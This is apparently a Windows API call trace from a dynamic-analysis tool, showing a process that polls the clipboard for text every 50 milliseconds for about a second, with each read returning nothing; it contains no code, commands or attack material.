[0256.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.540] GetClipboardData (uFormat=0x1) returned 0x0
[0256.540] CloseClipboard () returned 1
[0256.540] Sleep (dwMilliseconds=0x32)
[0256.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3e10498, dwHighDateTime=0x1d96e12))
[0256.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.554] GetClipboardData (uFormat=0x1) returned 0x0
[0256.554] CloseClipboard () returned 1
[0256.555] Sleep (dwMilliseconds=0x32)
[0256.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3e366e7, dwHighDateTime=0x1d96e12))
[0256.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.572] GetClipboardData (uFormat=0x1) returned 0x0
[0256.572] CloseClipboard () returned 1
[0256.572] Sleep (dwMilliseconds=0x32)
[0256.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3e5c955, dwHighDateTime=0x1d96e12))
[0256.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.586] GetClipboardData (uFormat=0x1) returned 0x0
[0256.586] CloseClipboard () returned 1
[0256.586] Sleep (dwMilliseconds=0x32)
[0256.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3e82baa, dwHighDateTime=0x1d96e12))
[0256.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.601] GetClipboardData (uFormat=0x1) returned 0x0
[0256.601] CloseClipboard () returned 1
[0256.601] Sleep (dwMilliseconds=0x32)
[0256.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3ea8e04, dwHighDateTime=0x1d96e12))
[0256.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.618] GetClipboardData (uFormat=0x1) returned 0x0
[0256.618] CloseClipboard () returned 1
[0256.618] Sleep (dwMilliseconds=0x32)
[0256.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3ecf05c, dwHighDateTime=0x1d96e12))
[0256.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.633] GetClipboardData (uFormat=0x1) returned 0x0
[0256.633] CloseClipboard () returned 1
[0256.633] Sleep (dwMilliseconds=0x32)
[0256.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3ef52b8, dwHighDateTime=0x1d96e12))
[0256.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.648] GetClipboardData (uFormat=0x1) returned 0x0
[0256.648] CloseClipboard () returned 1
[0256.648] Sleep (dwMilliseconds=0x32)
[0256.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3f1b519, dwHighDateTime=0x1d96e12))
[0256.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.671] GetClipboardData (uFormat=0x1) returned 0x0
[0256.671] CloseClipboard () returned 1
[0256.671] Sleep (dwMilliseconds=0x32)
[0256.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3f4176f, dwHighDateTime=0x1d96e12))
[0256.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.680] GetClipboardData (uFormat=0x1) returned 0x0
[0256.680] CloseClipboard () returned 1
[0256.680] Sleep (dwMilliseconds=0x32)
[0256.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3f679c5, dwHighDateTime=0x1d96e12))
[0256.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.696] GetClipboardData (uFormat=0x1) returned 0x0
[0256.696] CloseClipboard () returned 1
[0256.697] Sleep (dwMilliseconds=0x32)
[0256.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3f8dc27, dwHighDateTime=0x1d96e12))
[0256.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.711] GetClipboardData (uFormat=0x1) returned 0x0
[0256.711] CloseClipboard () returned 1
[0256.711] Sleep (dwMilliseconds=0x32)
[0256.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3fb3e79, dwHighDateTime=0x1d96e12))
[0256.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.726] GetClipboardData (uFormat=0x1) returned 0x0
[0256.726] CloseClipboard () returned 1
[0256.726] Sleep (dwMilliseconds=0x32)
[0256.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3fda0d4, dwHighDateTime=0x1d96e12))
[0256.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.743] GetClipboardData (uFormat=0x1) returned 0x0
[0256.743] CloseClipboard () returned 1
[0256.743] Sleep (dwMilliseconds=0x32)
[0256.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4000327, dwHighDateTime=0x1d96e12))
[0256.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.758] GetClipboardData (uFormat=0x1) returned 0x0
[0256.758] CloseClipboard () returned 1
[0256.758] Sleep (dwMilliseconds=0x32)
[0256.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4026585, dwHighDateTime=0x1d96e12))
[0256.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.773] GetClipboardData (uFormat=0x1) returned 0x0
[0256.773] CloseClipboard () returned 1
[0256.773] Sleep (dwMilliseconds=0x32)
[0256.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf404c7de, dwHighDateTime=0x1d96e12))
[0256.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.790] GetClipboardData (uFormat=0x1) returned 0x0
[0256.790] CloseClipboard () returned 1
[0256.790] Sleep (dwMilliseconds=0x32)
[0256.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4072a32, dwHighDateTime=0x1d96e12))
[0256.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.804] GetClipboardData (uFormat=0x1) returned 0x0
[0256.804] CloseClipboard () returned 1
[0256.804] Sleep (dwMilliseconds=0x32)
[0256.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4098ca2, dwHighDateTime=0x1d96e12))
[0256.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.822] GetClipboardData (uFormat=0x1) returned 0x0
[0256.822] CloseClipboard () returned 1
[0256.822] Sleep (dwMilliseconds=0x32)
[0256.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf40beef1, dwHighDateTime=0x1d96e12))
[0256.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.836] GetClipboardData (uFormat=0x1) returned 0x0
[0256.836] CloseClipboard () returned 1
[0256.836] Sleep (dwMilliseconds=0x32)
[0256.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf40e5144, dwHighDateTime=0x1d96e12))
[0256.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.851] GetClipboardData (uFormat=0x1) returned 0x0
[0256.851] CloseClipboard () returned 1
[0256.851] Sleep (dwMilliseconds=0x32)
[0256.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf410b3b6, dwHighDateTime=0x1d96e12))
[0256.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.868] GetClipboardData (uFormat=0x1) returned 0x0
[0256.868] CloseClipboard () returned 1
[0256.868] Sleep (dwMilliseconds=0x32)
[0256.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf41315f5, dwHighDateTime=0x1d96e12))
[0256.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.883] GetClipboardData (uFormat=0x1) returned 0x0
[0256.883] CloseClipboard () returned 1
[0256.883] Sleep (dwMilliseconds=0x32)
[0256.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4157851, dwHighDateTime=0x1d96e12))
[0256.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.898] GetClipboardData (uFormat=0x1) returned 0x0
[0256.898] CloseClipboard () returned 1
[0256.898] Sleep (dwMilliseconds=0x32)
[0256.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf417daac, dwHighDateTime=0x1d96e12))
[0256.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.915] GetClipboardData (uFormat=0x1) returned 0x0
[0256.915] CloseClipboard () returned 1
[0256.915] Sleep (dwMilliseconds=0x32)
[0256.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf41a3d0b, dwHighDateTime=0x1d96e12))
[0256.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.929] GetClipboardData (uFormat=0x1) returned 0x0
[0256.929] CloseClipboard () returned 1
[0256.930] Sleep (dwMilliseconds=0x32)
[0256.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf41c9f60, dwHighDateTime=0x1d96e12))
[0256.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.946] GetClipboardData (uFormat=0x1) returned 0x0
[0256.946] CloseClipboard () returned 1
[0256.947] Sleep (dwMilliseconds=0x32)
[0256.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf41f01c4, dwHighDateTime=0x1d96e12))
[0256.963] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.963] GetClipboardData (uFormat=0x1) returned 0x0
[0256.963] CloseClipboard () returned 1
[0256.963] Sleep (dwMilliseconds=0x32)
[0256.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf421641c, dwHighDateTime=0x1d96e12))
[0256.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.976] GetClipboardData (uFormat=0x1) returned 0x0
[0256.976] CloseClipboard () returned 1
[0256.976] Sleep (dwMilliseconds=0x32)
[0256.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf423c670, dwHighDateTime=0x1d96e12))
[0256.994] OpenClipboard (hWndNewOwner=0x0) returned 1
[0256.994] GetClipboardData (uFormat=0x1) returned 0x0
[0256.994] CloseClipboard () returned 1
[0256.994] Sleep (dwMilliseconds=0x32)
[0257.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf42628c9, dwHighDateTime=0x1d96e12))
[0257.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.008] GetClipboardData (uFormat=0x1) returned 0x0
[0257.008] CloseClipboard () returned 1
[0257.008] Sleep (dwMilliseconds=0x32)
[0257.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4288b2a, dwHighDateTime=0x1d96e12))
[0257.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.023] GetClipboardData (uFormat=0x1) returned 0x0
[0257.023] CloseClipboard () returned 1
[0257.023] Sleep (dwMilliseconds=0x32)
[0257.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf42aed7b, dwHighDateTime=0x1d96e12))
[0257.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.040] GetClipboardData (uFormat=0x1) returned 0x0
[0257.040] CloseClipboard () returned 1
[0257.040] Sleep (dwMilliseconds=0x32)
[0257.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf42d4fda, dwHighDateTime=0x1d96e12))
[0257.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.055] GetClipboardData (uFormat=0x1) returned 0x0
[0257.055] CloseClipboard () returned 1
[0257.055] Sleep (dwMilliseconds=0x32)
[0257.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf42fb22e, dwHighDateTime=0x1d96e12))
[0257.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.071] GetClipboardData (uFormat=0x1) returned 0x0
[0257.072] CloseClipboard () returned 1
[0257.072] Sleep (dwMilliseconds=0x32)
[0257.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4321493, dwHighDateTime=0x1d96e12))
[0257.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.086] GetClipboardData (uFormat=0x1) returned 0x0
[0257.086] CloseClipboard () returned 1
[0257.086] Sleep (dwMilliseconds=0x32)
[0257.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf43476e5, dwHighDateTime=0x1d96e12))
[0257.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.101] GetClipboardData (uFormat=0x1) returned 0x0
[0257.101] CloseClipboard () returned 1
[0257.102] Sleep (dwMilliseconds=0x32)
[0257.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf436d940, dwHighDateTime=0x1d96e12))
[0257.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.118] GetClipboardData (uFormat=0x1) returned 0x0
[0257.118] CloseClipboard () returned 1
[0257.119] Sleep (dwMilliseconds=0x32)
[0257.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4393b9b, dwHighDateTime=0x1d96e12))
[0257.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.132] GetClipboardData (uFormat=0x1) returned 0x0
[0257.133] CloseClipboard () returned 1
[0257.133] Sleep (dwMilliseconds=0x32)
[0257.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf43b9df4, dwHighDateTime=0x1d96e12))
[0257.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.148] GetClipboardData (uFormat=0x1) returned 0x0
[0257.148] CloseClipboard () returned 1
[0257.148] Sleep (dwMilliseconds=0x32)
[0257.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf43e0052, dwHighDateTime=0x1d96e12))
[0257.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.165] GetClipboardData (uFormat=0x1) returned 0x0
[0257.165] CloseClipboard () returned 1
[0257.165] Sleep (dwMilliseconds=0x32)
[0257.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf44062a5, dwHighDateTime=0x1d96e12))
[0257.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.179] GetClipboardData (uFormat=0x1) returned 0x0
[0257.179] CloseClipboard () returned 1
[0257.180] Sleep (dwMilliseconds=0x32)
[0257.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf442c502, dwHighDateTime=0x1d96e12))
[0257.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.196] GetClipboardData (uFormat=0x1) returned 0x0
[0257.197] CloseClipboard () returned 1
[0257.197] Sleep (dwMilliseconds=0x32)
[0257.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4452766, dwHighDateTime=0x1d96e12))
[0257.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.211] GetClipboardData (uFormat=0x1) returned 0x0
[0257.211] CloseClipboard () returned 1
[0257.211] Sleep (dwMilliseconds=0x32)
[0257.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf44789bc, dwHighDateTime=0x1d96e12))
[0257.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.226] GetClipboardData (uFormat=0x1) returned 0x0
[0257.226] CloseClipboard () returned 1
[0257.226] Sleep (dwMilliseconds=0x32)
[0257.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf449ec10, dwHighDateTime=0x1d96e12))
[0257.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.243] GetClipboardData (uFormat=0x1) returned 0x0
[0257.243] CloseClipboard () returned 1
[0257.244] Sleep (dwMilliseconds=0x32)
[0257.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf44c4e6d, dwHighDateTime=0x1d96e12))
[0257.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.258] GetClipboardData (uFormat=0x1) returned 0x0
[0257.258] CloseClipboard () returned 1
[0257.258] Sleep (dwMilliseconds=0x32)
[0257.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf44eb0c6, dwHighDateTime=0x1d96e12))
[0257.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.273] GetClipboardData (uFormat=0x1) returned 0x0
[0257.273] CloseClipboard () returned 1
[0257.273] Sleep (dwMilliseconds=0x32)
[0257.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4511319, dwHighDateTime=0x1d96e12))
[0257.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.289] GetClipboardData (uFormat=0x1) returned 0x0
[0257.289] CloseClipboard () returned 1
[0257.289] Sleep (dwMilliseconds=0x32)
[0257.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4537577, dwHighDateTime=0x1d96e12))
[0257.306] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.306] GetClipboardData (uFormat=0x1) returned 0x0
[0257.306] CloseClipboard () returned 1
[0257.306] Sleep (dwMilliseconds=0x32)
[0257.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf455d8ae, dwHighDateTime=0x1d96e12))
[0257.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.320] GetClipboardData (uFormat=0x1) returned 0x0
[0257.320] CloseClipboard () returned 1
[0257.320] Sleep (dwMilliseconds=0x32)
[0257.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4583a38, dwHighDateTime=0x1d96e12))
[0257.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.336] GetClipboardData (uFormat=0x1) returned 0x0
[0257.336] CloseClipboard () returned 1
[0257.336] Sleep (dwMilliseconds=0x32)
[0257.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf45a9c90, dwHighDateTime=0x1d96e12))
[0257.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.351] GetClipboardData (uFormat=0x1) returned 0x0
[0257.351] CloseClipboard () returned 1
[0257.351] Sleep (dwMilliseconds=0x32)
[0257.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf45cfed7, dwHighDateTime=0x1d96e12))
[0257.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.367] GetClipboardData (uFormat=0x1) returned 0x0
[0257.367] CloseClipboard () returned 1
[0257.367] Sleep (dwMilliseconds=0x32)
[0257.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf45f6136, dwHighDateTime=0x1d96e12))
[0257.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.383] GetClipboardData (uFormat=0x1) returned 0x0
[0257.383] CloseClipboard () returned 1
[0257.383] Sleep (dwMilliseconds=0x32)
[0257.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf461c38c, dwHighDateTime=0x1d96e12))
[0257.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.398] GetClipboardData (uFormat=0x1) returned 0x0
[0257.398] CloseClipboard () returned 1
[0257.398] Sleep (dwMilliseconds=0x32)
[0257.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf46425ea, dwHighDateTime=0x1d96e12))
[0257.418] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.418] GetClipboardData (uFormat=0x1) returned 0x0
[0257.418] CloseClipboard () returned 1
[0257.418] Sleep (dwMilliseconds=0x32)
[0257.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf466882c, dwHighDateTime=0x1d96e12))
[0257.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.434] GetClipboardData (uFormat=0x1) returned 0x0
[0257.434] CloseClipboard () returned 1
[0257.434] Sleep (dwMilliseconds=0x32)
[0257.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf468ea81, dwHighDateTime=0x1d96e12))
[0257.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.446] GetClipboardData (uFormat=0x1) returned 0x0
[0257.447] CloseClipboard () returned 1
[0257.447] Sleep (dwMilliseconds=0x32)
[0257.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf46b4d07, dwHighDateTime=0x1d96e12))
[0257.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.461] GetClipboardData (uFormat=0x1) returned 0x0
[0257.461] CloseClipboard () returned 1
[0257.461] Sleep (dwMilliseconds=0x32)
[0257.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf46daf8a, dwHighDateTime=0x1d96e12))
[0257.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.476] GetClipboardData (uFormat=0x1) returned 0x0
[0257.476] CloseClipboard () returned 1
[0257.476] Sleep (dwMilliseconds=0x32)
[0257.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf47011b1, dwHighDateTime=0x1d96e12))
[0257.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.493] GetClipboardData (uFormat=0x1) returned 0x0
[0257.493] CloseClipboard () returned 1
[0257.493] Sleep (dwMilliseconds=0x32)
[0257.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4727405, dwHighDateTime=0x1d96e12))
[0257.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.508] GetClipboardData (uFormat=0x1) returned 0x0
[0257.508] CloseClipboard () returned 1
[0257.508] Sleep (dwMilliseconds=0x32)
[0257.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf474d66b, dwHighDateTime=0x1d96e12))
[0257.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.523] GetClipboardData (uFormat=0x1) returned 0x0
[0257.523] CloseClipboard () returned 1
[0257.523] Sleep (dwMilliseconds=0x32)
[0257.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf47738c3, dwHighDateTime=0x1d96e12))
[0257.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.540] GetClipboardData (uFormat=0x1) returned 0x0
[0257.540] CloseClipboard () returned 1
[0257.540] Sleep (dwMilliseconds=0x32)
[0257.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4799b10, dwHighDateTime=0x1d96e12))
[0257.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.554] GetClipboardData (uFormat=0x1) returned 0x0
[0257.554] CloseClipboard () returned 1
[0257.554] Sleep (dwMilliseconds=0x32)
[0257.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf47bfd72, dwHighDateTime=0x1d96e12))
[0257.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.571] GetClipboardData (uFormat=0x1) returned 0x0
[0257.571] CloseClipboard () returned 1
[0257.572] Sleep (dwMilliseconds=0x32)
[0257.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf47e5fd4, dwHighDateTime=0x1d96e12))
[0257.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.586] GetClipboardData (uFormat=0x1) returned 0x0
[0257.586] CloseClipboard () returned 1
[0257.586] Sleep (dwMilliseconds=0x32)
[0257.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf480c224, dwHighDateTime=0x1d96e12))
[0257.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.601] GetClipboardData (uFormat=0x1) returned 0x0
[0257.601] CloseClipboard () returned 1
[0257.601] Sleep (dwMilliseconds=0x32)
[0257.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf483247c, dwHighDateTime=0x1d96e12))
[0257.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.618] GetClipboardData (uFormat=0x1) returned 0x0
[0257.618] CloseClipboard () returned 1
[0257.618] Sleep (dwMilliseconds=0x32)
[0257.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf48586d8, dwHighDateTime=0x1d96e12))
[0257.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.633] GetClipboardData (uFormat=0x1) returned 0x0
[0257.633] CloseClipboard () returned 1
[0257.633] Sleep (dwMilliseconds=0x32)
